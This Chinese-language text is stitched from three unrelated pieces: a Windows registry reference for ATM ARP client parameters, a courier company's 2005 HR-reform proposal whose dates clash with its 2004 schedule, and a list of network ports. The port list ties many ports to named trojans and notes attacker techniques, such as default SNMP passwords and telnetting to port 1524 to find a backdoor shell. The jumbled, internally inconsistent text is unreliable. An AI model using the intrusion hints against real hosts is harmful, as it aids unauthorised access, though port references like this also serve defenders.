续订该适配器 IP 地址的租约。仅当因为某些原因 DHCP 客户服务不能与原始服务
器续订租约时,才会启用时间 T2。

ATM ARP 客户参数
ATM ARP 与每个接口的 TCP/IP 参数一起放在 AtmArpC 子项下。ATM 适配器的某
个 TCP/IP 接口的注册表转储示例如下所示。

HKEY_LOCAL_MACHINE \System \CurrentControlSet \Services \Tcpip \Parame
ters\Interfaces\{A24B73BE-D2CD-11D1-BE08-8FF4D413E1BE}\AtmArpC

SapSelector = REG_DWORD 0×00000001
AddressResolutionTimeout = REG_DWORD 0×00000003
ARPEntryAgingTimeout = REG_DWORD 0×00000384
InARPWaitTimeout = REG_DWORD 0×00000005
MaxResolutionAttempts = REG_DWORD 0×00000004
MinWaitAfterNak = REG_DWORD 0×0000000a
ServerConnectInterval = REG_DWORD 0×00000005
ServerRefreshTimeout = REG_DWORD 0×00000384
ServerRegistrationTimeout = REG_DWORD 0×00000003
DefaultVcAgingTimeout = REG_DWORD 0×0000003c
MARSConnectInterval = REG_DWORD 0×00000005
MARSRegistrationTimeout = REG_DWORD 0×00000003
JoinTimeout = REG_DWORD 0×0000000a
LeaveTimeout = REG_DWORD 0×0000000a
MaxJoinLeaveAttempts = REG_DWORD 0×00000005
MaxDelayBetweenMULTIs = REG_DWORD 0×0000000a
ARPServerList = REG_MULTI_SZ
"4700790001020000000000000000A03E00000200"
MARServerList = REG_MULTI_SZ
"4700790001020000000000000000A03E00000200"
MTU = REG_DWORD 0×000023dc
PVCOnly = REG_DWORD 0×00000000

下面说明上述的每个参数。

SapSelector

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 数字

有效范围: 1-255

默认值: 1

说明:指定选择器字节数值,ATMARP 客户将它用作其 ATM 地址的第二十个字节。
设置的此地址用于注册 ATMARP 服务器与多播地址解析服务器 (MARS)。

AddressResolutionTimeout


项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 1-60

默认值: 3

说明:指定 ATMARP 客户在为单播 IP 地址发送 ARP 请求(或为多播/广播 IP 地
址发送 MARS 请求)之后等待响应的时间。如果该计时器超时,则 ATMARP 客户重
新传输该请求,最多为 (MaxResolutionAttempts – 1) 次。

ARPEntryAgingTimeout

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 90-1800

默认值: 900 秒(15 分钟)

说明:指定在使该参数失效前,ATMARP 客户为单播 IP 地址保留地址解析的时间
。如果该计时器到期,则 ATMARP 客户采取下列措施之一:

如果没有与 IP 地址相关的虚拟电路 (VC) ,它删除该 IP 地址的 ARP 项。
如果至少有一个与该 IP 地址相关的永久虚拟电路 (PVC),则它在 PVC 上使用“
反向 ARP”,使 ARP 项重新生效。
如果至少有一个与该 IP 地址关联的 SVC,它向 ARP 服务器发送一个 ARP 请求,
使 ARP 项重新生效。
InARPWaitTimeout

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 1-60

默认值: 5

说明:指定 ATMARP 客户发送反向地址解析协议 (InARP) 请求,使单播 IP 地址
到 ATM 地址映射(即 ARP 项)重新生效时等待响应的时间。如果该计时器到期,
ATMARP 客户删除包含此 IP 地址的 ARP 表项。

MaxResolutionAttempts

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 数字

有效范围: 1-255

默认值: 4

说明:指定 ATMARP 客户将一个单播或多播或广播 IP 地址解析到 ATM 地址所做
的最大尝试次数。

MinWaitAfterNak

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 1-60

默认值: 10

说明:指定 ATMARP 客户在从 ARP 服务器或 MARS 接收到失败响应 (ARP NAK) 之
后的等待时间。这可以防止 ATMARP 客户过于频繁地向服务器查询不存在或不知道
的 IP 地址。

ServerConnectInterval

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 1-30

默认值: 5

说明:指定 ATMARP 客户在连接到 ARP 服务器失败之后和重新连接之前等待的时
间。

ServerRefreshTimeout

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 90-1800

默认值: 900 秒(15 分钟)

说明:指定 ATMARP 客户发送 ARP 请求用其自己的 IP/ATM 地址信息刷新 ATMARP
服务器缓存的时间间隔。

ServerRegistrationTimeout

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 1-60

默认值: 3

说明:该参数指定 ATMARP 客户发送用来将自己 IP/ATM 信息注册到 ATMARP 服务
器的“ARP 请求”数据包后,等待“ARP 应答”数据包的时间。如果计时器到期,
ATMARP 客户重新发送“ARP 请求”数据包。

DefaultVcAgingTimeout

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 10-1800

默认值: 60

说明:指定 ATMARP 客户启动的所有 VC 的静止超时。该参数对 PVC 不适用。静
止是指在任一方向上都没有数据活动的情况。如果该计时器到期,ATMARP 客户就
会断开 VC 连接。

MARSConnectInterval

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 1-30

默认值: 5

说明:指定连接 MARS 失败后与重新连接前的等待时间。

MARSRegistrationTimeout

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 1-60

默认值: 3

说明:该参数指定 ATMARP 客户发送用来将自己 ATM 地址注册到 MARS 的“
MARS 加入”数据包后等待应答数据包的时间。如果该计时器到期,则 ATMARP 客
户重新传输“MARS 加入”数据包。

JoinTimeout

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 5-60

默认值: 10

说明:该参数指定 ATMARP 客户发送用来在 IP 多播组(或 IP 广播地址)建立成
员关系的“MARS 加入”数据包后,等待应答数据包的时间。如果该计时器到期,
则 ATMARP 客户重新传输“MARS 加入”数据包,最多 MaxJoinLeaveAttempts 次


LeaveTimeout

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 5-60

默认值: 10

说明:该参数指定 ATMARP 客户发送用来终止与 IP 多播组(或 IP 广播地址)成
员关系的“MARS 离开”数据包后,等待应答数据包的时间。如果计时器到期,则
ATMARP 客户重新传输“MARS 离开”数据包,最多 MaxJoinLeaveAttempts 次。


MaxJoinLeaveAttempts

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 数字

有效范围: 1-10

默认值: 5

说明:指定 ATMARP 客户加入或离开 IP 多播(或广播)组的最大次数。

MaxDelayBetweenMULTIs

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 秒数

有效范围: 2-60

默认值: 5

说明:对于一个 MARS 请求,该参数指定 ATMARP 客户预计的两个连续 MARS
MULTI 数据包之间的最大延迟。

ARPServerList

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_MULTI_SZ

有效范围:包含 ATM 地址的字符串列表

默认值: 4700790001020000000000000000A03E00000200

说明:这是 ARP 客户允许注册的 ARP 服务器列表。该列表以故障转移方式使用;
也就是说,ARP 客户依次使用每个地址注册,直到成功为止。

MARServerList

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_MULTI_SZ – 字符串列表

有效范围: 包含 ATM 地址的字符串列表

默认值: 4700790001020000000000000000A03E00000200

说明:这是 ARP 客户允许注册的 MARS 服务器列表。该列表以故障转移方式使用
;也就是说,ARP 客户依次使用每个地址注册,直到成功为止。

MTU

项: Tcpip\Parameters\Interfaces\interface\AtmArpC

数值类型: REG_DWORD – 字节数

有效范围: 9180-65527

默认值: 9180

说明:指定该接口向 IP 层报告的最大传输单位。

以下是一快递公司人力资源改善企划案
—————————————————–
 
Xx物流快递公司
人力资源改善企划案
(2005年)


企划人:xx
在竞争日益激烈的二十一世纪,企业只有走规范管理的道路,才能使各项工作有章可循、有条不紊地进行,也才能使决策层从繁杂的事务中解脱出来进行企业的战略发展规划,使企业做大做强,且立于不败之地。人力资源管理系统的建立和完善就是其中最重要的一环。然而,从目前公司的管理状况来看,还存在一些不尽人意之处,急需进行组织再造,并建立一套良好的激励机制。

现状初步分析:
根据初步的调查(访谈包括所有高层和中层主管),目前公司主要存在以下几个问题:
1、层级管理混乱、各部门之间职责不清,权责关系不顺,相互沟通协调困难;
2、奖惩制度不规范、不连续;
3、管理随意性大,授权不清;
4、各项管理制度不规范或不健全,如考核制度、薪酬制度、人员招聘录用制度、培训制度等。
预计解决方案:
为了理顺组织关系和调动全体人员的积极性,2004年拟进行组织架构改造(主要集中在部门设计方面)和中高层管理人员绩效考核方案及薪资设计和提升员工素质的制度方面。具体方案如下:
1、成立人力资源管理制度改革项目组
改革能否取得成功,一方面取决于正确的诊断问题与选择改革的方法,另一方面与决策层的支持息息相关。任何一项改革计划如果得不到上级和职能部门的支持与认可,其成功的可能性是极小的。基于此,该项目组由两部分人员组成:一部分是外部专业人员,一部分是公司总裁、副总裁和各职能部门经理(主管)。
外部人员由郑岛星等人力资源专业人员负责,主要负责改革方案的整体设计、策划员工满意度调查问卷、实施员工满意度调查、设计组织架构、设计合理的薪酬制度及相关的绩效考核方案;辅助公司拟订部门职责、职务说明、制定并完善人力资源相关管理制度、实施绩效考核并做出调整。
公司内部人员的主要任务是配合外部专业人员组织和实施项目的开展,如提供公司组织结构和岗位设置的有关情况、提供相关部门职责及制度的书面材料、协助作好员工满意度调查、在专业人员的辅助下制定并完善公司相关管理制度、协助外部人员设计方案并提出修改意见、实施改革方案、其他技术和资讯的提供和支持等。
2、员工满意度调查
由于人们的心理活动和利益具有一定的复杂性,人们对改革的期望值也不一样,而且不同层次、不同部门人员看问题的角度也不同,对问题的认知也因知识的范围不同而有差异。为了更好地了解情况,需要采用科学的方法进行调查。员工满意度调查的目的是为了了解员工对目前公司组织和管理制度的基本态度和要求,为进行改革方案的设计提供一定的参考意见。
该部分包括两个方面:一是根据企业情况,设计一份员工满意度调查问卷,由相关各职位人员填写,收集信息进行分析。了解员工需求及其对公司各方面的意见和建议,发现问题。二是根据满意度调查结果,由项目组成员直接与个别人员面谈,更深入地了解情况。
调查主要涉及以下一些问题:
1)、对目前公司管理制度的总体看法;
2)、各部门的工作效率;
3)、各部门之间的协调问题;
4)、对部门职责和权利的意见;
5)、对薪资状况是否满意;
6)、对薪资结构的意见;
7)、对薪酬制度改革的态度;
8)、对薪资等级的意见;
9)、对薪酬制度形式(如秘密或公开透明的薪资制度)的意见;
10)、对绩效考核问题的意见,等。
问卷拟将所有员工作为调查对象,面谈根据具体情况拟选取5——10人作为调查对象。此工作持续时间为15—20天,最终结果为员工满意度调查报告和公司管理诊断报告。
3、组织结构及管理制度设计
由于经过前期的初步调查,发现公司大部分问题存在于组织结构和管理制度方面,而这两方面又是公司进一步成长壮大的基础。这两个方面不解决好,会造成工作效率不高,管理协调成本增大,人员积极性不高等问题,进而钳制公司的发展步伐。
该部分的工作比较多,主要是在大量调查的基础上,对各部门的重新调整,最终达到层次分明、职责明确、授权合理、关系协调的目的。具体工作包括:
1)、确立公司部门划分,绘制公司整体组织及各部门组织结构图;
2)、制定各部门和各岗位的职务说明;
3)、制定管理工作的流程和标准;
4)、制定相应的规章制度,等。
此项工作持续大约60天,最终结果为各种相关的管理制度、组织结构图和工作流程图,等。
4、薪资制度及绩效考核方案的设计
无论激励的方式有多少种,薪酬激励都是不能忽视的一个重要方面。良好的薪酬制度可以激励在职员工,吸引外部优秀人才。但是,任何薪酬都不是无标准的发放,必须与其工作绩效相联系,因此,科学的绩效考核制度是薪酬制度的前提和保证。
该部分工作由于与员工的切身利益直接联系,因此在改革中所产生的影响也最大,甚至可以说,能否走好这一步直接关系到公司改革的成败。同时,薪酬制度和绩效考核也是人力资源管理中最难的一部分,所以要投入比较大的精力。主要工作包括:
1)、中高层管理人员的薪酬总体水平;
2)、中高层管理人员的薪资等级;
3)、中高层管理人员薪资结构;
4)、年度绩效目标及绩效考核方案;
5)、公司奖金提成比例及各层次人员分配方案,等。
绩效考核方案拟采用目标管理法(重点是关键业绩指标)、360度考评法进行。此项工作持续时间为60天左右,最终结果为薪酬方案和绩效考评方案。
5、培训、反馈和修改
改革方案初稿制定后,即进入培训阶段。广泛听取管理人员及有关员工的意见,并加以修改和完善。
另一方面,在整个改革进行过程中,专业小组将根据具体情况,进行一些职场品格和价值观方面的培训,以使员工能理解改革、支持改革,从思想上为改革做好铺垫工作。此项工作持续时间为30天。
6、改革方案的实施和跟踪
改革方案最终定稿后,即进入实施阶段,并进行跟踪和完善。
此工作持续60天左右。(计划完成时间为2004年10月31日)
项目目标:
1、具有可操作性,贴近企业实际并考虑到后续发展,保持一定的弹性。
2、建立一套完整的人力资源管理制度,清晰界定各管理职位的职责及流程,使公司在管理上做到有规可依,奠定管理规范化和制度管人的基础。
3、薪酬结构和考核制度科学合理,具备公平公正性,与企业发展和员工对企业的贡献挂钩,体现“有为有威才能有位有酬”。
4、通过激励制度和其他相关措施,提升公司的凝聚力和员工的忠诚度。
5、通过培训,在一定程度上提高管理层的管理能力。
项目小组(外部)构成:
本项目小组成员为:
郑岛星:人力资源专员,曾任惠州某台资公司人力资源经理、惠州某置业有限公司人力资源总监、深圳某国际运输华南公司行政及人力资源总监,等职。
擅 长:企业战术性人力资源管理方案设计、组织设计与职务分析、满意度调查、人员测评、绩效考评与薪酬设计、培训方案设计与实施,等。
蔡瑜君、叶芝云:人力资源MBA研修生,曾参加企业制度的制定等项目工作。
擅 长:调查分析、资讯收集、文案撰写,等。
具体分工:
郑岛星——负责整个项目的计划、安排、指导、控制和具体操作,以及与企业高层、企业人事行政部等部门沟通互动;
蔡瑜君、叶芝云——负责整个项目操作中的资讯收集、文案撰写以及与企业有关部门的沟通联系。


企划人:xx

2005年06月01日
 

计算机端口介绍[详细列表]

    我们常常会在各类的技术文章中见到诸如135、137、139、443之类的“端口”,可是这些端口究竟有什么用呢?它会不会给我们的计算机带来潜在的威胁呢?究竟有多少端口是有用的?想要了解的话,就跟我来吧:D

端口:0
服务:Reserved
说明:通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,当你试图使用通常的闭合端口连接它时将产生不同的结果。一种典型的扫描,使用IP地址为0.0.0.0,设置ACK位并在以太网层广播。


端口:1
服务:tcpmux
说明:这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者,默认情况下tcpmux在这种系统中被打开。Irix机器在发布是含有几个默认的无密码的帐户,如:IP、GUEST UUCP、NUUCP、DEMOS 、TUTOR、DIAG、OUTOFBOX等。许多管理员在安装后忘记删除这些帐户。因此HACKER在INTERNET上搜索tcpmux并利用这些帐户。
端口:7
服务:Echo
说明:能看到许多人搜索Fraggle放大器时,发送到X.X.X.0和X.X.X.255的信息。
端口:19
服务:Character Generator
说明:这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时会发送含有垃圾字符的数据流直到连接关闭。HACKER利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。同样Fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包,受害者为了回应这些数据而过载。
端口:21
服务:FTP
说明:FTP服务器所开放的端口,用于上传、下载。最常见的攻击者用于寻找打开anonymous的FTP服务器的方法。这些服务器带有可读写的目录。木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口。
端口:22
服务:Ssh
说明:PcAnywhere建立的TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点,如果配置成特定的模式,许多使用RSAREF库的版本就会有不少的漏洞存在。
端口:23
服务:Telnet
说明:远程登录,入侵者在搜索远程登录UNIX的服务。大多数情况下扫描这一端口是为了找到机器运行的操作系统。还有使用其他技术,入侵者也会找到密码。木马Tiny Telnet Server就开放这个端口。
端口:25
服务:SMTP
说明:SMTP服务器所开放的端口,用于发送邮件。入侵者寻找SMTP服务器是为了传递他们的SPAM。入侵者的帐户被关闭,他们需要连接到高带宽的E-MAIL服务器上,将简单的信息传递到不同的地址。木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口。
端口:31
服务:MSG Authentication
说明:木马Master Paradise、Hackers Paradise开放此端口。
端口:42
服务:WINS Replication
说明:WINS复制
端口:53
服务:Domain Name Server(DNS)
说明:DNS服务器所开放的端口,入侵者可能是试图进行区域传递(TCP),欺骗DNS(UDP)或隐藏其他的通信。因此防火墙常常过滤或记录此端口。
端口:67
服务:Bootstrap Protocol Server
说明:通过DSL和Cable modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。这些机器在向DHCP服务器请求一个地址。HACKER常进入它们,分配一个地址把自己作为局部路由器而发起大量中间人(man-in-middle)攻击。客户端向68端口广播请求配置,服务器向67端口广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的IP地址。
端口:69
服务:Trival File Transfer
说明:许多服务器与bootp一起提供这项服务,便于从系统下载启动代码。但是它们常常由于错误配置而使入侵者能从系统中窃取任何 文件。它们也可用于系统写入文件。
端口:79
服务:Finger Server
说明:入侵者用于获得用户信息,查询操作系统,探测已知的缓冲区溢出错误,回应从自己机器到其他机器Finger扫描。
端口:80
服务:HTTP
说明:用于网页浏览。木马Executor开放此端口。
端口:99
服务:Metagram Relay
说明:后门程序ncx99开放此端口。
端口:102
服务:Message transfer agent(MTA)-X.400 over TCP/IP
说明:消息传输代理。


端口:109
服务:Post Office Protocol -Version3
说明:POP3服务器开放此端口,用于接收邮件,客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交 换缓冲区溢出的弱点至少有20个,这意味着入侵者可以在真正登陆前进入系统。成功登陆后还有其他缓冲区溢出错误。
端口:110
服务:SUN公司的RPC服务所有端口
说明:常见RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等
端口:113
服务:Authentication Service
说明:这是一个许多计算机上运行的协议,用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多计算机的信息。但是它可作为许多服务的记录器,尤其是FTP、POP、IMAP、SMTP和IRC等服务。通常如果有许多客户通过防火墙访问这些服务,将会看到许多这个端口的连接请求。记住,如果阻断这个端口客户端会感觉到在防火墙另一边与E-MAIL服务器的缓慢连接。许多防火墙支持TCP连接的阻断过程中发回RST。这将会停止缓慢的连接。
端口:119
服务:Network News Transfer Protocol
说明:NEWS新闻组传输协议,承载USENET通信。这个端口的连接通常是人们在寻找USENET服务器。多数ISP限制,只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子,访问被限制的新闻组服务器,匿名发帖或发送SPAM。
 
端口:135
服务:Location Service
说明:Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和RPC的服务利用计算机上的end-point mapper注册它们的位置。远端客户连接到计算机时,它们查找end-point mapper找到服务的位置。HACKER扫描计算机的这个端口是为了找到这个计算机上运行Exchange Server吗?什么版本?还有些DOS攻击直接针对这个端口。
端口:137、138、139
服务:NETBIOS Name Service
说明:其中137、138是UDP端口,当通过网上邻居传输文件时用这个端口。而139端口:通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation也用它。
端口:143
服务:Interim Mail Access Protocol v2
说明:和POP3的安全问题一样,许多IMAP服务器存在有缓冲区溢出漏洞。记住:一种LINUX蠕虫(admv0rm)会通过这个端口繁殖,因此许多这个端口的扫描来自不知情的已经被感染的用户。当REDHAT在他们的LINUX发布版本中默认允许IMAP后,这些漏洞变的很流行。这一端口还被用于IMAP2,但并不流行。
端口:161
服务:SNMP
说明:SNMP允许远程管理设备。所有配置和运行信息的储存在数据库中,通过SNMP可获得这些信息。许多管理员的错误配置将被暴露在Internet。Cackers将试图使用默认的密码public、private访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向用户的网络。
 
端口:177
服务:X Display Manager Control Protocol
说明:许多入侵者通过它访问X-windows操作台,它同时需要打开6000端口。
端口:389
服务:LDAP、ILS
说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。
端口:443
服务:Https
说明:网页浏览端口,能提供加密和通过安全端口传输的另一种HTTP。
端口:456
服务:[NULL]
说明:木马HACKERS PARADISE开放此端口。
端口:513
服务:Login,remote login
说明:是从使用cable modem或DSL登陆到子网中的UNIX计算机发出的广播。这些人为入侵者进入他们的系统提供了信息。
端口:544
服务:[NULL]
说明:kerberos kshell
端口:548
服务:Macintosh,File Services(AFP/IP)
说明:Macintosh,文件服务。
端口:553
服务:CORBA IIOP (UDP)
说明:使用cable modem、DSL或VLAN将会看到这个端口的广播。CORBA是一种面向对象的RPC系统。入侵者可以利用这些信息进入系统。

端口:555
服务:DSF
说明:木马PhAse1.0、Stealth Spy、IniKiller开放此端口。
端口:568
服务:Membership DPA
说明:成员资格 DPA。
端口:569
服务:Membership MSN
说明:成员资格 MSN。
端口:635
服务:mountd
说明:Linux的mountd Bug。这是扫描的一个流行BUG。大多数对这个端口的扫描是基于UDP的,但是基于TCP的mountd有所增加(mountd同时运行于两个端口)。记住mountd可运行于任何端口(到底是哪个端口,需要在端口111做portmap查询),只是Linux默认端口是635,就像NFS通常运行于2049端口。
端口:636
服务:LDAP
说明:SSL(Secure Sockets layer)
端口:666
服务:Doom Id Software
说明:木马Attack FTP、Satanz Backdoor开放此端口
端口:993
服务:IMAP
说明:SSL(Secure Sockets layer)
端口:1001、1011
服务:[NULL]
说明:木马Silencer、WebEx开放1001端口。木马Doly Trojan开放1011端口。
 
端口:1024
服务:Reserved
说明:它是动态端口的开始,许多程序并不在乎用哪个端口连接网络,它们请求系统为它们分配下一个闲置端口。基于这一点分配从端口1024开始。这就是说第一个向系统发出请求的会分配到1024端口。你可以重启机器,打开Telnet,再打开一个窗口运行natstat -a 将会看到Telnet被分配1024端口。还有SQL session也用此端口和5000端口。
端口:1025、1033
服务:1025:network blackjack 1033:[NULL]
说明:木马netspy开放这2个端口。
端口:1080
服务:SOCKS
说明:这一协议以通道方式穿过防火墙,允许防火墙后面的人通过一个IP地址访问INTERNET。理论上它应该只允许内部的通信向外到达INTERNET。但是由于错误的配置,它会允许位于防火墙外部的攻击穿过防火墙。WinGate常会发生这种错误,在加入IRC聊天室时常会看到这种情况。
端口:1170
服务:[NULL]
说明:木马Streaming Audio Trojan、Psyber Stream Server、Voice开放此端口。
端口:1234、1243、6711、6776
服务:[NULL]
说明:木马SubSeven2.0、Ultors Trojan开放1234、6776端口。木马SubSeven1.0/1.9开放1243、6711、6776端口。

端口:1245
服务:[NULL]
说明:木马Vodoo开放此端口。
端口:1433
服务:SQL
说明:Microsoft的SQL服务开放的端口。
端口:1492
服务:stone-design-1
说明:木马FTP99CMP开放此端口。
端口:1500
服务:RPC client fixed port session queries
说明:RPC客户固定端口会话查询
端口:1503
服务:NetMeeting T.120
说明:NetMeeting T.120
端口:1524
服务:ingress
说明:许多攻击脚本将安装一个后门SHELL于这个端口,尤其是针对SUN系统中Sendmail和RPC服务漏洞的脚本。如果刚安装了防火墙就看到在这个端口上的连接企图,很可能是上述原因。可以试试Telnet到用户的计算机上的这个端口,看看它是否会给你一个SHELL。连接到600/pcserver也存在这个问题。
端口:1600
服务:issd
说明:木马Shivka-Burka开放此端口。

端口:1720
服务:NetMeeting
说明:NetMeeting H.233 call Setup。
端口:1731
服务:NetMeeting Audio Call Control
说明:NetMeeting音频调用控制。
端口:1807
服务:[NULL]
说明:木马SpySender开放此端口。
端口:1981
服务:[NULL]
说明:木马ShockRave开放此端口。
端口:1999
服务:cisco identification port
说明:木马BackDoor开放此端口。

端口:2000
服务:[NULL]
说明:木马GirlFriend 1.3、Millenium 1.0开放此端口。
端口:2001
服务:[NULL]
说明:木马Millenium 1.0、Trojan Cow开放此端口。
端口:2023
服务:xinuexpansion 4
说明:木马Pass Ripper开放此端口。
端口:2049
服务:NFS
说明:NFS程序常运行于这个端口。通常需要访问Portmapper查询这个服务运行于哪个端口。
端口:2115
服务:[NULL]
说明:木马Bugs开放此端口。

 
端口:2140、3150
服务:[NULL]
说明:木马Deep Throat 1.0/3.0开放此端口。
端口:2500
服务:RPC client using a fixed port session replication
说明:应用固定端口会话复制的RPC客户
端口:2583
服务:[NULL]
说明:木马Wincrash 2.0开放此端口。
端口:2801
服务:[NULL]
说明:木马Phineas Phucker开放此端口。
端口:3024、4092
服务:[NULL]
说明:木马WinCrash开放此端口。
端口:3128
服务:squid
说明:这是squid HTTP代理服务器的默认端口。攻击者扫描这个端口是为了搜寻一个代理服务器而匿名访问Internet。也会看到搜索其他代理服务器的端口8000、8001、8080、8888。扫描这个端口的另一个原因是用户正在进入聊天室。其他用户也会检验这个端口以确定用户的机器是否支持代理。
端口:3129
服务:[NULL]
说明:木马Master Paradise开放此端口。
端口:3150
服务:[NULL]
说明:木马The Invasor开放此端口。
端口:3210、4321
服务:[NULL]
说明:木马SchoolBus开放此端口


端口:3333
服务:dec-notes
说明:木马Prosiak开放此端口
端口:3389
服务:超级终端
说明:WINDOWS 2000终端开放此端口。
端口:3700
服务:[NULL]
说明:木马Portal of Doom开放此端口
端口:3996、4060
服务:[NULL]
说明:木马RemoteAnything开放此端口
端口:4000
服务:QQ客户端
说明:腾讯QQ客户端开放此端口。
端口:4092
服务:[NULL]
说明:木马WinCrash开放此端口。
端口:4590
服务:[NULL]
说明:木马ICQTrojan开放此端口。
端口:5000、5001、5321、50505 服务:[NULL]
说明:木马blazer5开放5000端口。木马Sockets de Troie开放5000、5001、5321、50505端口。
端口:5400、5401、5402
服务:[NULL]
说明:木马Blade Runner开放此端口。
端口:5550
服务:[NULL]
说明:木马xtcp开放此端口。
端口:5569
服务:[NULL]
说明:木马Robo-Hack开放此端口。
端口:5632
服务:pcAnywere
说明:有时会看到很多这个端口的扫描,这依赖于用户所在的位置。当用户打开pcAnywere时,它会自动扫描局域网C类网以寻找可能的代理(这里的代理是指agent而不是proxy)。入侵者也会寻找开放这种服务的计算机。,所以应该查看这种扫描的源地址。一些搜寻pcAnywere的扫描包常含端口22的UDP数据包。


端口:5742
服务:[NULL]
说明:木马WinCrash1.03开放此端口。
端口:6267
服务:[NULL]
说明:木马广外女生开放此端口。
端口:6400
服务:[NULL]
说明:木马The tHing开放此端口。
端口:6670、6671
服务:[NULL]
说明:木马Deep Throat开放6670端口。而Deep Throat 3.0开放6671端口。
端口:6883
服务:[NULL]
说明:木马DeltaSource开放此端口。
端口:6969
服务:[NULL]
说明:木马Gatecrasher、Priority开放此端口。
端口:6970
服务:RealAudio
说明:RealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是由TCP-7070端口外向控制连接设置的。
端口:7000
服务:[NULL]
说明:木马Remote Grab开放此端口。
端口:7300、7301、7306、7307、7308
服务:[NULL]
说明:木马NetMonitor开放此端口。另外NetSpy1.0也开放7306端口。
 
端口:7323
服务:[NULL]
说明:Sygate服务器端。
端口:7626
服务:[NULL]
说明:木马Giscier开放此端口。
端口:7789
服务:[NULL]
说明:木马ICKiller开放此端口。
端口:8000
服务:OICQ
说明:腾讯QQ服务器端开放此端口。 ‘
端口:8010
服务:Wingate
说明:Wingate代理开放此端口。
端口:8080
服务:代理端口
说明:WWW代理开放此端口。
端口:9400、9401、9402
服务:[NULL]
说明:木马Incommand 1.0开放此端口。
端口:9872、9873、9874、9875、10067、10167
服务:[NULL]
说明:木马Portal of Doom开放此端口
端口:9989
服务:[NULL]
说明:木马iNi-Killer开放此端口。
端口:11000
服务:[NULL]
说明:木马SennaSpy开放此端口。
端口:11223
服务:[NULL]
说明:木马Progenic trojan开放此端口。
端口:12076、61466
服务:[NULL]
说明:木马Telecommando开放此端口。
端口:12223
服务:[NULL]
说明:木马Hack’99 KeyLogger开放此端口。
端口:12345、12346
服务:[NULL]
说明:木马NetBus1.60/1.70、GabanBus开放此端口。
端口:12361
服务:[NULL]
说明:木马Whack-a-mole开放此端口。
端口:13223
服务:PowWow
说明:PowWow是Tribal Voice的聊天程序。它允许用户在此端口打开私人聊天的连接。这一程序对于建立连接非常具有攻击性。它会驻扎在这个TCP端口等回应。造成类似心跳间隔的连接请求。如果一个拨号用户从另一个聊天者手中继承了IP地址就会发生好象有很多不同的人在测试这个端口的情况。这一协议使用OPNG作为其连接请求的前4个字节。

端口:16969
服务:[NULL]
说明:木马Priority开放此端口。
端口:17027
服务:Conducent
说明:这是一个外向连接。这是由于公司内部有人安装了带有Conducent"adbot"的共享软件。Conducent"adbot"是为共享软件显示广告服务的。使用这种服务的一种流行的软件是Pkware。
端口:19191
服务:[NULL]
说明:木马蓝色火焰开放此端口。
端口:20000、20001
服务:[NULL]
说明:木马Millennium开放此端口。
端口:20034
服务:[NULL]
说明:木马NetBus Pro开放此端口。
端口:21554
服务:[NULL]
说明:木马GirlFriend开放此端口。
端口:22222
服务:[NULL]
说明:木马Prosiak开放此端口。


端口:23456
服务:[NULL]
说明:木马Evil FTP、Ugly FTP开放此端口。
端口:26274、47262
服务:[NULL]
说明:木马Delta开放此端口。
端口:27374
服务:[NULL]
说明:木马Subseven 2.1开放此端口。
端口:30100
服务:[NULL]
说明:木马NetSphere开放此端口。
端口:30303
服务:[NULL]
说明:木马Socket23开放此端口。
端口:30999
服务:[NULL]
说明:木马Kuang开放此端口。
端口:31337、31338
服务:[NULL]
说明:木马BO(Back Orifice)开放此端口。另外木马DeepBO也开放31338端口。
端口:31339
服务:[NULL]
说明:木马NetSpy DK开放此端口。
端口:31666
服务:[NULL]
说明:木马BOWhack开放此端口。

端口:33333
服务:[NULL]
说明:木马Prosiak开放此端口。
